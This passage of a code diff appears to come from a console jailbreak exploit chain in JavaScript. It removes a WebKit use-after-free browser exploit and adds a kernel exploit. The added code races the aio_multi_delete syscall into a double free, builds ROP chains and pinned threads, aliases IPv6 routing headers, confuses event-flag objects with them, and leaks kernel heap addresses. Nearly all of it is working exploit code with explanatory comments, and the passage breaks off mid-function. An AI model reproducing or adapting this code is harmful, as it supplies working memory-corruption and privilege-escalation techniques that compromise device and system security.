= 4; + +// netinet6/in6.h +const IPV6_2292PKTOPTIONS = 25; +const IPV6_PKTINFO = 46; +const IPV6_NEXTHOP = 48; +const IPV6_RTHDR = 51; +const IPV6_TCLASS = 61; + +// sys/cpuset.h +const CPU_LEVEL_WHICH = 3; +const CPU_WHICH_TID = 1; + +// sys/mman.h +const MAP_SHARED = 1; +const MAP_FIXED = 0x10; + +// sys/rtprio.h +const RTP_SET = 1; +const RTP_PRIO_REALTIME = 2; + +// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter +// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue +// group. queue 0 of each group is currently unused. queue 1 has the lowest +// priority and queue 3 has the highest +// +// the SceFsstAIO workers will process entries at the main queues. they will +// refill the main queues from the corresponding wait queues each time they +// dequeue a request (e.g. fill the low priority main queue from the low +// priority wait queue) +// +// entries on the wait queue will always have a 0 ticket number. they will +// get assigned a nonzero ticket number once they get put on the main queue +const AIO_CMD_READ = 1; +const AIO_CMD_WRITE = 2; +const AIO_CMD_FLAG_MULTI = 0x1000; +const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ; +const AIO_STATE_COMPLETE = 3; +const AIO_STATE_ABORTED = 4; +const num_workers = 2; +// max number of requests that can be created/polled/canceled/deleted/waited +const max_aio_ids = 0x80; + +// highest priority we can achieve given our credentials +const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100); + +// CONFIG CONSTANTS +const main_core = 7; +const num_grooms = 0x200; +const num_handles = 0x100; +const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS +const num_alias = 10; +const num_races = 100; +const leak_len = 16; +const num_leaks = 5; +const num_clobbers = 8; + +let chain = null; +var nogc = []; + +async function init() { + await rop.init(); + chain = new Chain(); + +// PS4 9.00 +const pthread_offsets = new Map(Object.entries({ + 'pthread_create' : 0x25510, + 'pthread_join' : 0xafa0, + 'pthread_barrier_init' : 0x273d0, + 'pthread_barrier_wait' : 0xa320, + 'pthread_barrier_destroy' : 0xfea0, + 'pthread_exit' : 0x77a0, +})); + + rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base); +} + +function sys_void(...args) { + return chain.syscall_void(...args); +} + +function sysi(...args) { + return chain.sysi(...args); +} + +function call_nze(...args) { + const res = chain.call_int(...args); + if (res !== 0) { + die(`call(${args[0]}) returned nonzero: ${res}`); + } +} + +// #define SCE_KERNEL_AIO_STATE_NOTIFIED 0x10000 +// +// #define SCE_KERNEL_AIO_STATE_SUBMITTED 1 +// #define SCE_KERNEL_AIO_STATE_PROCESSING 2 +// #define SCE_KERNEL_AIO_STATE_COMPLETED 3 +// #define SCE_KERNEL_AIO_STATE_ABORTED 4 +// +// typedef struct SceKernelAioResult { +// // errno / SCE error code / number of bytes processed +// int64_t returnValue; +// // SCE_KERNEL_AIO_STATE_* +// uint32_t state; +// } SceKernelAioResult; +// +// typedef struct SceKernelAioRWRequest { +// off_t offset; +// size_t nbyte; +// void *buf; +// struct SceKernelAioResult *result; +// int fd; +// } SceKernelAioRWRequest; +// +// typedef int SceKernelAioSubmitId; +// +// // SceAIO submit commands +// #define SCE_KERNEL_AIO_CMD_READ 0x001 +// #define SCE_KERNEL_AIO_CMD_WRITE 0x002 +// #define SCE_KERNEL_AIO_CMD_MASK 0xfff +// // SceAIO submit command flags +// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000 +// +// #define SCE_KERNEL_AIO_PRIORITY_LOW 1 +// #define SCE_KERNEL_AIO_PRIORITY_MID 2 +// #define SCE_KERNEL_AIO_PRIORITY_HIGH 3 +// +// int +// aio_submit_cmd( +// u_int cmd, +// SceKernelAioRWRequest reqs[], +// u_int num_reqs, +// u_int prio, +// SceKernelAioSubmitId ids[] +// ); +function aio_submit_cmd(cmd, requests, num_requests, handles) { + sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles); +} + +// the various SceAIO syscalls that copies out errors/states will not check if +// the address is NULL and will return EFAULT. this dummy buffer will serve as +// the default argument so users don't need to specify one +const _aio_errors = new View4(max_aio_ids); +const _aio_errors_p = _aio_errors.addr; + +// int +// aio_multi_delete( +// SceKernelAioSubmitId ids[], +// u_int num_ids, +// int sce_errors[] +// ); +function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) { + sysi('aio_multi_delete', ids, num_ids, sce_errs); +} + +// int +// aio_multi_poll( +// SceKernelAioSubmitId ids[], +// u_int num_ids, +// int states[] +// ); +function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) { + sysi('aio_multi_poll', ids, num_ids, sce_errs); +} + +// int +// aio_multi_cancel( +// SceKernelAioSubmitId ids[], +// u_int num_ids, +// int states[] +// ); +function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) { + sysi('aio_multi_cancel', ids, num_ids, sce_errs); +} + +// // wait for all (AND) or atleast one (OR) to finish +// // DEFAULT is the same as AND +// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00 +// #define SCE_KERNEL_AIO_WAIT_AND 0x01 +// #define SCE_KERNEL_AIO_WAIT_OR 0x02 +// +// int +// aio_multi_wait( +// SceKernelAioSubmitId ids[], +// u_int num_ids, +// int states[], +// // SCE_KERNEL_AIO_WAIT_* +// uint32_t mode, +// useconds_t *timeout +// ); +function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) { + sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0); +} + +function make_reqs1(num_reqs) { + const reqs1 = new Buffer(0x28 * num_reqs); + for (let i = 0; i < num_reqs; i++) { + // .fd = -1 + reqs1.write32(0x20 + i*0x28, -1); + } + return reqs1; +} + +function spray_aio( + loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ, +) { + const step = 4 * (multi ? num_reqs : 1); + cmd |= multi ? AIO_CMD_FLAG_MULTI : 0; + for (let i = 0, idx = 0; i < loops; i++) { + aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx)); + idx += step; + } +} + +function poll_aio(ids, states, num_ids=ids.length) { + if (states !== undefined) { + states = states.addr; + } + aio_multi_poll(ids.addr, num_ids, states); +} + +function cancel_aios(ids_p, num_ids) { + const len = max_aio_ids; + const rem = num_ids % len; + const num_batches = (num_ids - rem) / len; + for (let bi = 0; bi < num_batches; bi++) { + aio_multi_cancel(ids_p.add((bi << 2) * len), len); + } + if (rem) { + aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem); + } +} + +function free_aios(ids_p, num_ids) { + const len = max_aio_ids; + const rem = num_ids % len; + const num_batches = (num_ids - rem) / len; + for (let bi = 0; bi < num_batches; bi++) { + const addr = ids_p.add((bi << 2) * len); + aio_multi_cancel(addr, len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } + if (rem) { + const addr = ids_p.add((num_batches << 2) * len); + aio_multi_cancel(addr, len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } +} + +function free_aios2(ids_p, num_ids) { + const len = max_aio_ids; + const rem = num_ids % len; + const num_batches = (num_ids - rem) / len; + for (let bi = 0; bi < num_batches; bi++) { + const addr = ids_p.add((bi << 2) * len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } + if (rem) { + const addr = ids_p.add((num_batches << 2) * len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } +} + +function get_our_affinity(mask) { + sysi( + 'cpuset_getaffinity', + CPU_LEVEL_WHICH, + CPU_WHICH_TID, + -1, + 8, + mask.addr, + ); +} + +function set_our_affinity(mask) { + sysi( + 'cpuset_setaffinity', + CPU_LEVEL_WHICH, + CPU_WHICH_TID, + -1, + 8, + mask.addr, + ); +} + +function close(fd) { + sysi('close', fd); +} + +function new_socket() { + return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP); +} + +function new_tcp_socket() { + return sysi('socket', AF_INET, SOCK_STREAM, 0); +} + +function gsockopt(sd, level, optname, optval, optlen) { + const size = new Word(optval.size); + if (optlen !== undefined) { + size[0] = optlen; } - // PS4 9.xx and all supported PS5 versions - if (config.target >= 0x900) { - return 0x50; + sysi('getsockopt', sd, level, optname, optval.addr, size.addr); + return size[0]; +} + +function setsockopt(sd, level, optname, optval, optlen) { + sysi('setsockopt', sd, level, optname, optval, optlen); +} + +function ssockopt(sd, level, optname, optval, optlen) { + if (optlen === undefined) { + optlen = optval.size; } - if (0x650 <= config.target && config.target < 0x900) { - return 0x48; + const addr = optval.addr; + setsockopt(sd, level, optname, addr, optlen); +} + +function get_rthdr(sd, buf, len) { + return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); +} + +function set_rthdr(sd, buf, len) { + ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); +} + +function free_rthdrs(sds) { + for (const sd of sds) { + setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0); } -})(); +} -// these constants are expected to be divisible by 2 -const num_fsets = 0x180; -const num_spaces = 0x40; -const num_adjs = 8; +function build_rthdr(buf, size) { + const len = ((size >> 3) - 1) & ~1; + size = (len + 1) << 3; -const num_reuses = 0x300; -const num_strs = 0x200; -const num_leaks = 0x100; + buf[0] = 0; + buf[1] = len; + buf[2] = 0; + buf[3] = len >> 1; -// we can use the rows attribute of a frameset to allocate from fastMalloc + return size; +} + +function spawn_thread(thread) { + const ctx = new Buffer(context_size); + const pthread = new Pointer(); + pthread.ctx = ctx; + // pivot the pthread's stack pointer to our stack + ctx.write64(0x38, thread.stack_addr); + ctx.write64(0x80, thread.get_gadget('ret')); + + call_nze( + 'pthread_create', + pthread.addr, + 0, + chain.get_gadget('setcontext'), + ctx.addr, + ); + + return pthread; +} + +// EXPLOIT STAGES IMPLEMENTATION + +// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE + +function make_aliased_rthdrs(sds) { + const marker_offset = 4; + const size = 0x80; + const buf = new Buffer(size); + const rsize = build_rthdr(buf, size); + + for (let loop = 0; loop < num_alias; loop++) { + for (let i = 0; i < num_sds; i++) { + buf.write32(marker_offset, i); + set_rthdr(sds[i], buf, rsize); + } + + for (let i = 0; i < sds.length; i++) { + get_rthdr(sds[i], buf); + const marker = buf.read32(marker_offset); + if (marker !== i) { + log(`aliased rthdrs at attempt: ${loop}`); + const pair = [sds[i], sds[marker]]; + log(`found pair: ${pair}`); + sds.splice(marker, 1); + sds.splice(i, 1); + free_rthdrs(sds); + sds.push(new_socket(), new_socket()); + return pair; + } + } + } + die(`failed to make aliased rthdrs. size: ${hex(size)}`); +} + +// summary of the bug at aio_multi_delete(): // -// see parseAttribute() from -// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x -// -// parseAttribute() will call newLengthArray(): -// -// UniqueArray newLengthArray(const String& string, int& len) +// void +// free_queue_entry(struct aio_entry *reqs2) // { -// RefPtr str = string.impl()->simplifyWhiteSpace(); -// ... -// len = countCharacter(*str, ',') + 1; [1] -// auto r = makeUniqueArray(len); [2] -// ... +// if (reqs2->ar2_spinfo != NULL) { +// printf( +// "[0]%s() line=%d Warning !! split info is here\n", +// __func__, +// __LINE__ +// ); +// } +// if (reqs2->ar2_file != NULL) { +// // we can potentially delay .fo_close() +// fdrop(reqs2->ar2_file, curthread); +// reqs2->ar2_file = NULL; +// } +// free(reqs2, M_AIO_REQS2); // } // -// pseudocode definition: -// -// class UniqueArray: -// size_t _size; [3] -// Length _data[]; -// -// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len. -// [3] adds an extra 8 bytes to the array -// -// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from -// fastMalloc, then we need: -// -// const num_repeats = ssv_len / 8 - 2; -// const rows = ','.repeat(num_repeats); -const rows = ','.repeat(ssv_len / 8 - 2); +// int +// _aio_multi_delete( +// struct thread *td, +// SceKernelAioSubmitId ids[], +// u_int num_ids, +// int sce_errors[]) +// { +// // ... +// struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry); +// // ... +// u_int rem_ids = obj->ao_rem_ids; +// if (rem_ids != 1) { +// // BUG: wlock not acquired on this path +// obj->ao_rem_ids = --rem_ids; +// // ... +// free_queue_entry(obj->ao_entries[req_idx]); +// // the race can crash because of a NULL dereference since this path +// // doesn't check if the array slot is NULL so we delay +// // free_queue_entry() +// obj->ao_entries[req_idx] = NULL; +// } else { +// // ... +// } +// // ... +// } +function race_one(request_addr, tcp_sd, barrier, racer, sds) { + const sce_errs = new View4([-1, -1]); + const thr_mask = new Word(1 << main_core); -const original_strlen = ssv_len - off.size_strimpl; -const original_loc = location.pathname; - -function gc() { - new Uint8Array(4 * MB); -} - -function sread64(str, offset) { - const low = ( - str.charCodeAt(offset) - | str.charCodeAt(offset + 1) << 8 - | str.charCodeAt(offset + 2) << 16 - | str.charCodeAt(offset + 3) << 24 + const thr = racer; + thr.push_syscall( + 'cpuset_setaffinity', + CPU_LEVEL_WHICH, + CPU_WHICH_TID, + -1, + 8, + thr_mask.addr, ); - const high = ( - str.charCodeAt(offset + 4) - | str.charCodeAt(offset + 5) << 8 - | str.charCodeAt(offset + 6) << 16 - | str.charCodeAt(offset + 7) << 24 + thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr); + thr.push_gadget('pop rax; ret'); + thr.push_value(1); + thr.push_get_retval(); + thr.push_call('pthread_barrier_wait', barrier.addr); + thr.push_syscall( + 'aio_multi_delete', + request_addr, + 1, + sce_errs.addr_at(1), ); - return new Int(low, high); -} + thr.push_call('pthread_exit', 0); -function prepare_uaf() { - const fsets = []; - const indices = []; + const pthr = spawn_thread(thr); + const thr_tid = pthr.read32(0); - function alloc_fs(fsets, size) { - for (let i = 0; i < size / 2; i++) { - const fset = document.createElement('frameset'); - fset.rows = rows; - fset.cols = rows; - fsets.push(fset); - } - } - - // the first call to either replaceState/pushState is likely to allocate a - // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents - // the SmallLine where the SSV resides from being freed. so we do a dummy - // call first - history.replaceState('state0', ''); - - alloc_fs(fsets, num_fsets); - - // the "state1" SSVs is what we will UAF - - history.pushState('state1', '', original_loc + '#bar'); - indices.push(fsets.length); - - alloc_fs(fsets, num_spaces); - - history.pushState('state1', '', original_loc + '#foo'); - indices.push(fsets.length); - - alloc_fs(fsets, num_spaces); - - history.pushState('state2', ''); - return [fsets, indices]; -} - -// WebCore::SerializedScriptValue use-after-free -// -// be careful when accessing history.state since History::state() will get -// called. History will cache the SSV at its m_lastStateObjectRequested if you -// do. that field is a RefPtr, thus preventing a UAF if we cache "state1" -async function uaf_ssv(fsets, index, index2) { - const views = []; - const input = document.createElement('input'); - input.id = 'input'; - const foo = document.createElement('input'); - foo.id = 'foo'; - const bar = document.createElement('a'); - bar.id = 'bar'; - - log(`ssv_len: ${hex(ssv_len)}`); - - let pop = null; - let pop2 = null; - let pop_promise2 = null; - let blurs = [0, 0]; - let resolves = []; - - function onpopstate(event) { - const no_pop = pop === null; - const idx = no_pop ? 0 : 1; - - log(`pop ${idx} came`); - if (blurs[idx] === 0) { - const r = resolves[idx][1]; - r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); - } - - if (no_pop) { - pop_promise2 = new Promise((resolve, reject) => { - resolves.push([resolve, reject]); - addEventListener('popstate', onpopstate, {once: true}); - history.back(); - }); - } - - if (no_pop) { - pop = event; - } else { - pop2 = event; - } - resolves[idx][0](); - } - - const pop_promise = new Promise((resolve, reject) => { - resolves.push([resolve, reject]); - addEventListener('popstate', onpopstate, {once: true}); - }); - - function onblur(event) { - const target = event.target; - const is_input = target === input; - const idx = is_input ? 0 : 1; - log(`${target.id} blur came`); - - if (blurs[idx] > 0) { - die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); - } - - // we replace the URL with the original so the user can rerun the - // exploit via a reload. If we don't, the exploit will append another - // "#foo" to the URL and the input element will not be blurred because - // the foo element won't be scrolled to during history.back() - history.replaceState('state3', '', original_loc); - - // free the SerializedScriptValue's neighbors and thus free the - // SmallLine where it resides - const fset_idx = is_input ? index : index2; - for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) { - fsets[i].rows = ''; - fsets[i].cols = ''; - } - - for (let i = 0; i < num_reuses; i++) { - const view = new Uint8Array(new ArrayBuffer(ssv_len)); - view[0] = 0x41; - views.push(view); - } - - blurs[idx]++; - } - - input.addEventListener('blur', onblur); - foo.addEventListener('blur', onblur); - - document.body.append(input); - document.body.append(foo); - document.body.append(bar); - - // FrameLoader::loadInSameDocument() calls Document::statePopped(). - // statePopped() will defer firing of popstate until we're in the complete - // state + // pthread barrier implementation: // - // this means that onblur() will run with "state2" as the current history - // item if we call loadInSameDocument too early - log(`readyState now: ${document.readyState}`); + // given a barrier that needs N threads for it to be unlocked, a thread + // will sleep if it waits on the barrier and N - 1 threads havent't arrived + // before + // + // if there were already N - 1 threads then that thread (last waiter) won't + // sleep and it will send out a wake-up call to the waiting threads + // + // since the ps4's cores only have 1 hardware thread each, we can pin 2 + // threads on the same core and control the interleaving of their + // executions via controlled context switches - if (document.readyState !== 'complete') { - await new Promise(resolve => { - document.addEventListener('readystatechange', function foo() { - if (document.readyState === 'complete') { - document.removeEventListener('readystatechange', foo); - resolve(); - } - }); - }); + // wait for the worker to enter the barrier and sleep + while (thr.retval_int === 0) { + sys_void('sched_yield'); } - log(`readyState now: ${document.readyState}`); + // enter the barrier as the last waiter + chain.push_call('pthread_barrier_wait', barrier.addr); + // yield and hope the scheduler runs the worker next. the worker will then + // sleep at soclose() and hopefully we run next + chain.push_syscall('sched_yield'); + // if we get here and the worker hasn't been reran then we can delay the + // worker's execution of soclose() indefinitely + chain.push_syscall('thr_suspend_ucontext', thr_tid); + chain.push_get_retval(); + chain.push_get_errno(); + chain.push_end(); + chain.run(); + chain.reset(); - await new Promise(resolve => { - input.addEventListener('focus', resolve, {once: true}); - input.focus(); - }); + const main_res = chain.retval_int; + log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`); - history.back(); - await pop_promise; - await pop_promise2; + if (main_res === -1) { + call_nze('pthread_join', pthr, 0); + log(); + return null; + } - log('done await popstate'); + let won_race = false; + try { + const poll_err = new View4(1); + aio_multi_poll(request_addr, 1, poll_err.addr); + log(`poll: ${hex(poll_err[0])}`); - input.remove(); - foo.remove(); - bar.remove(); + const info_buf = new View1(size_tcp_info); + const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf); + log(`info size: ${hex(info_size)}`); - const res = []; - for (let i = 0; i < views.length; i++) { - const view = views[i]; - if (view[0] !== 0x41) { - log(`view index: ${hex(i)}`); - log('found view:'); - log(view); + if (info_size !== size_tcp_info) { + die(`info size isn't ${size_tcp_info}: ${info_size}`); + } - // set SSV's refcount to 1, all other fields to 0/NULL - view[0] = 1; - view.fill(0, 1); + const tcp_state = info_buf[0]; + log(`tcp_state: ${tcp_state}`); - if (res.length) { - res[1] = [new BufferView(view.buffer), pop2]; - break; + const SCE_KERNEL_ERROR_ESRCH = 0x80020003; + if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH + && tcp_state !== TCPS_ESTABLISHED + ) { + // PANIC: double free on the 0x80 malloc zone. important kernel + // data may alias + aio_multi_delete(request_addr, 1, sce_errs.addr); + won_race = true; + } + } finally { + log('resume thread\n'); + sysi('thr_resume_ucontext', thr_tid); + call_nze('pthread_join', pthr, 0); + } + + if (won_race) { + log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); + // if the code has no bugs then this isn't possible but we keep the + // check for easier debugging + if (sce_errs[0] !== sce_errs[1]) { + log('ERROR: bad won_race'); + die('ERROR: bad won_race'); + } + // RESTORE: double freed memory has been reclaimed with harmless data + // PANIC: 0x80 malloc zone pointers aliased + return make_aliased_rthdrs(sds); + } + + return null; +} + +function double_free_reqs2(sds) { + function swap_bytes(x, byte_length) { + let res = 0; + for (let i = 0; i < byte_length; i++) { + res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1); + } + + return res >>> 0; + } + + function htons(x) { + return swap_bytes(x, 2); + } + + function htonl(x) { + return swap_bytes(x, 4); + } + + const server_addr = new Buffer(16); + // sockaddr_in.sin_family + server_addr[1] = AF_INET; + // sockaddr_in.sin_port + server_addr.write16(2, htons(5050)); + // sockaddr_in.sin_addr = 127.0.0.1 + server_addr.write32(4, htonl(0x7f000001)); + + const racer = new Chain(); + const barrier = new Long(); + call_nze('pthread_barrier_init', barrier.addr, 0, 2); + + const num_reqs = 3; + const which_req = num_reqs - 1; + const reqs1 = make_reqs1(num_reqs); + const reqs1_p = reqs1.addr; + const aio_ids = new View4(num_reqs); + const aio_ids_p = aio_ids.addr; + const req_addr = aio_ids.addr_at(which_req); + const cmd = AIO_CMD_MULTI_READ; + + const sd_listen = new_tcp_socket(); + ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1)); + + sysi('bind', sd_listen, server_addr.addr, server_addr.size); + sysi('listen', sd_listen, 1); + + for (let i = 0; i < num_races; i++) { + const sd_client = new_tcp_socket(); + sysi('connect', sd_client, server_addr.addr, server_addr.size); + + const sd_conn = sysi('accept', sd_listen, 0, 0); + // force soclose() to sleep + ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1)); + reqs1.write32(0x20 + which_req*0x28, sd_client); + + aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p); + aio_multi_cancel(aio_ids_p, num_reqs); + aio_multi_poll(aio_ids_p, num_reqs); + + // drop the reference so that aio_multi_delete() will trigger _fdrop() + close(sd_client); + + const res = race_one(req_addr, sd_conn, barrier, racer, sds); + racer.reset(); + + // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented + // twice. this will leave one request undeleted + aio_multi_delete(aio_ids_p, num_reqs); + close(sd_conn); + + if (res !== null) { + log(`won race at attempt: ${i}`); + close(sd_listen); + call_nze('pthread_barrier_destroy', barrier.addr); + return res; + } + } + + die('failed aio double free'); +} + +// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS + +function new_evf(flags) { + const name = cstr(''); + // int evf_create(char *name, uint32_t attributes, uint64_t flags) + return sysi('evf_create', name.addr, 0, flags); +} + +function set_evf_flags(id, flags) { + sysi('evf_clear', id, 0); + sysi('evf_set', id, flags); +} + +function free_evf(id) { + sysi('evf_delete', id); +} + +function verify_reqs2(buf, offset) { + // reqs2.ar2_cmd + if (buf.read32(offset) !== AIO_CMD_WRITE) { + return false; + } + + // heap addresses are prefixed with 0xffff_xxxx + // xxxx is randomized on boot + // + // heap_prefixes is a array of randomized prefix bits from a group of heap + // address candidates. if the candidates truly are from the heap, they must + // share a common prefix + const heap_prefixes = []; + + // check if offsets 0x10 to 0x20 look like a kernel heap address + for (let i = 0x10; i <= 0x20; i += 8) { + if (buf.read16(offset + i + 6) !== 0xffff) { + return false; + } + heap_prefixes.push(buf.read16(offset + i + 4)); + } + + // check reqs2.ar2_result.state + // state is actually a 32-bit value but the allocated memory was + // initialized with zeros. all padding bytes must be 0 then + let state = buf.read32(offset + 0x38); + if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { + return false; + } + + // reqs2.ar2_file must be NULL since we passed a bad file descriptor to + // aio_submit_cmd() + if (!buf.read64(offset + 0x40).eq(0)) { + return false; + } + + // check if offsets 0x48 to 0x50 look like a kernel address + for (let i = 0x48; i <= 0x50; i += 8) { + if (buf.read16(offset + i + 6) === 0xffff) { + // don't push kernel ELF addresses + if (buf.read16(offset + i + 4) !== 0xffff) { + heap_prefixes.push(buf.read16(offset + i + 4)); } - - // return without keeping any references to pop, making it GC-able. - // its WebCore::PopStateEvent will then be freed on its death - res[0] = new BufferView(view.buffer); - i = num_reuses - 1; + // offset 0x48 can be NULL + } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) { + return false; } } - if (res.length !== 2) { - die('failed SerializedScriptValue UAF'); - } - return res; + return heap_prefixes.every((e, i, a) => e === a[0]); } -class Reader { - constructor(rstr, rstr_view) { - this.rstr = rstr; - this.rstr_view = rstr_view; - this.m_data = rstr_view.read64(off.strimpl_m_data); - } +function leak_kernel_addrs(sd_pair) { + close(sd_pair[1]); + const sd = sd_pair[0]; + const buf = new Buffer(0x80 * leak_len); - read8_at(offset) { - return this.rstr.charCodeAt(offset); - } - - read32_at(offset) { - const str = this.rstr; - return ( - str.charCodeAt(offset) - | str.charCodeAt(offset + 1) << 8 - | str.charCodeAt(offset + 2) << 16 - | str.charCodeAt(offset + 3) << 24 - ) >>> 0; - } - - read64_at(offset) { - return sread64(this.rstr, offset); - } - - read64(addr) { - this.rstr_view.write64(off.strimpl_m_data, addr); - return sread64(this.rstr, 0); - } - - set_addr(addr) { - this.rstr_view.write64(off.strimpl_m_data, addr); - } - - // remember to use this to fix up the StringImpl before freeing it - restore() { - this.rstr_view.write64(off.strimpl_m_data, this.m_data); - this.rstr_view.write32(off.strimpl_strlen, original_strlen); - } -} - -// we now have a double free on the fastMalloc heap -async function make_rdr(view) { - let str_wait = 0; - const strs = []; - const u32 = new Uint32Array(1); - const u8 = new Uint8Array(u32.buffer); - const marker_offset = original_strlen - 4; - const pad = 'B'.repeat(marker_offset); - - log('start string spray'); - while (true) { - for (let i = 0; i < num_strs; i++) { - u32[0] = i; - // on versions like 8.0x: - // * String.fromCharCode() won't create a 8-bit string. so we use - // fromCodePoint() instead - // * Array.prototype.join() won't try to convert 16-bit strings to - // 8-bit - // - // given the restrictions above, we will ensure "str" is always a - // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) - // to see that String.prototype.repeat() will create a 8-bit string - // if the repeated string's length is 1 - // - // Array.prototype.join() calls JSC::JSStringJoiner::join(). it - // returns a plain JSString (not a JSRopeString). that means we - // have allocated a WTF::StringImpl with the proper size and whose - // string data is inlined - const str = [pad, String.fromCodePoint(...u8)].join(''); - strs.push(str); + // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf + // must be set to >= 0xf00 in order to fully leak the contents of the rthdr + log('confuse evf with rthdr'); + let evf = null; + for (let i = 0; i < num_alias; i++) { + const evfs = []; + for (let i = 0; i < num_handles; i++) { + evfs.push(new_evf(0xf00 | i << 16)); } - if (view.read32(off.strimpl_inline_str) === 0x42424242) { - view.write32(off.strimpl_strlen, 0xffffffff); + get_rthdr(sd, buf, 0x80); + // for simplicity, we'll assume i < 2**16 + const flags32 = buf.read32(0); + evf = evfs[flags32 >>> 16]; + + set_evf_flags(evf, flags32 | 1); + get_rthdr(sd, buf, 0x80); + + if (buf.read32(0) === flags32 | 1) { + evfs.splice(flags32 >> 16, 1); + } else { + evf = null; + } + + for (const evf of evfs) { + free_evf(evf); + } + + if (evf !== null) { + log(`confused rthdr and evf at attempt: ${i}`); + break; + } + } + + if (evf === null) { + die('failed to confuse evf and rthdr'); + } + + set_evf_flags(evf, 0xff << 8); + get_rthdr(sd, buf, 0x80); + + // fields we use from evf (number before the field is the offset in hex): + // struct evf: + // 0 u64 flags + // 28 struct cv cv + // 38 TAILQ_HEAD(struct evf_waiter) waiters + + // evf.cv.cv_description = "evf cv" + // string is located at the kernel's mapped ELF file + const kernel_addr = buf.read64(0x28); + log(`"evf cv" string addr: ${kernel_addr}`); + // because of TAILQ_INIT(), we have: + // + // evf.waiters.tqh_last == &evf.waiters.tqh_first + // + // we now know the address of the kernel buffer we are leaking + const kbuf_addr = buf.read64(0x40).sub(0x38); + log(`kernel buffer addr: ${kbuf_addr}`); + + // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100 + // allocate reqs1 arrays at 0x100 malloc zone + const num_elems = 6; + // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of + // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket + // field + const ucred = kbuf_addr.add(4); + + const leak_reqs = make_reqs1(num_elems); + const leak_reqs_p = leak_reqs.addr; + leak_reqs.write64(0x10, ucred); + + const leak_ids_len = num_handles * num_elems; + const leak_ids = new View4(leak_ids_len); + const leak_ids_p = leak_ids.addr; + + log('find aio_entry'); + let reqs2_off = null; + loop: for (let i = 0; i < num_leaks; i++) { + get_rthdr(sd, buf); + + spray_aio( + num_handles, + leak_reqs_p, + num_elems, + leak_ids_p, + true, + AIO_CMD_WRITE, + ); + + get_rthdr(sd, buf); + for (let off = 0x80; off < buf.length; off += 0x80) { + if (verify_reqs2(buf, off)) { + reqs2_off = off; + log(`found reqs2 at attempt: ${i}`); + break loop; + } + } + + free_aios(leak_ids_p, leak_ids_len); + } + if (reqs2_off === null) { + die('could not leak a reqs2'); + } + log(`reqs2 offset: ${hex(reqs2_off)}`); + + get_rthdr(sd, buf); + const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); + log('leaked aio_entry:'); + hexdump(reqs2); + + const reqs1_addr = new Long(reqs2.read64(0x10)); + log(`reqs1_addr: ${reqs1_addr}`); + reqs1_addr.lo &= -0x100; + log(`reqs1_addr: ${reqs1_addr}`); + + log('searching target_id'); + let target_id = null; + let to_cancel_p = null; + let to_cancel_len = null; + for (let i = 0; i < leak_ids_len; i += num_elems) { + aio_multi_cancel(leak_ids_p.add(i << 2), num_elems); + + get_rthdr(sd, buf); + const state = buf.read32(reqs2_off + 0x38); + if (state === AIO_STATE_ABORTED) { + log(`found target_id at batch: ${i / num_elems}`); + + target_id = new Word(leak_ids[i]); + leak_ids[i] = 0; + log(`target_id: ${hex(target_id)}`); + + const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); + log('leaked aio_entry:'); + hexdump(reqs2); + + const start = i + num_elems; + to_cancel_p = leak_ids.addr_at(start); + to_cancel_len = leak_ids_len - start; + break; + } + } + if (target_id === null) { + die('target_id not found'); + } + + cancel_aios(to_cancel_p, to_cancel_len); + 